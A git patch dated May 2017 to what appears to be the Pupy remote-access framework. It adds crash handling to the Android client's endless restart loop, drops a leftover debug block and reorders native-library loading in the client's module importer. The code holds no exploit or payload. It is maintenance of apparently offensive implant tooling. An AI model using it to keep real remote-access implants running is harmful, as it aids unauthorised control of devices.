From 11fe90f7f936cf94ff630f2d18c34537830f7aee Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Tue, 23 May 2017 12:47:38 +0300 Subject: [PATCH] Handle crashes --- client/android_sources/main.py | 11 ++++++++--- pupy/packages/all/pupyimporter.py | 2 -- pupy/pupylib/PupyClient.py | 10 +++++----- 3 files changed, 13 insertions(+), 10 deletions(-) diff --git a/client/android_sources/main.py b/client/android_sources/main.py index 13aa3d7b..73f58073 100644 --- a/client/android_sources/main.py +++ b/client/android_sources/main.py @@ -12,6 +12,11 @@ platform.system = lambda: 'android' if __name__ == '__main__': import pp while True: - print "starting pupy ..." - pp.main() - print "pupy exit" + try: + print "starting pupy ..." + pp.main() + print "pupy exit" + except Exception, e: + print "pupy crashed: ", e + import traceback + traceback.print_exc(e) diff --git a/pupy/packages/all/pupyimporter.py b/pupy/packages/all/pupyimporter.py index c3a08c95..c3629222 100644 --- a/pupy/packages/all/pupyimporter.py +++ b/pupy/packages/all/pupyimporter.py @@ -610,5 +610,3 @@ def install(debug=None, trace=False): if sys.platform == 'win32': import pywintypes - if __debug: - for module in modules.iterkeys(): diff --git a/pupy/pupylib/PupyClient.py b/pupy/pupylib/PupyClient.py index bcedbabd..ccc2e6c7 100644 --- a/pupy/pupylib/PupyClient.py +++ b/pupy/pupylib/PupyClient.py @@ -442,11 +442,6 @@ class PupyClient(object): pupyimporter = self.conn.modules.pupyimporter initial_module_name = module_name - if not self.desc.get('native', False): - # If this is not light-weight "client", then try to load native libs frist - if pupyimporter.native_import(module_name): - return True - if not remote and not module_name.endswith(('.dll', '.so')): if pupyimporter.has_module(module_name): if not force: @@ -455,6 +450,11 @@ class PupyClient(object): update = True pupyimporter.invalidate_module(module_name) + if not self.desc.get('native', False): + # If this is not light-weight "client", then try to load native libs frist + if pupyimporter.native_import(module_name): + return True + start_path=module_name.replace(".", "/") package_found=False package_path=None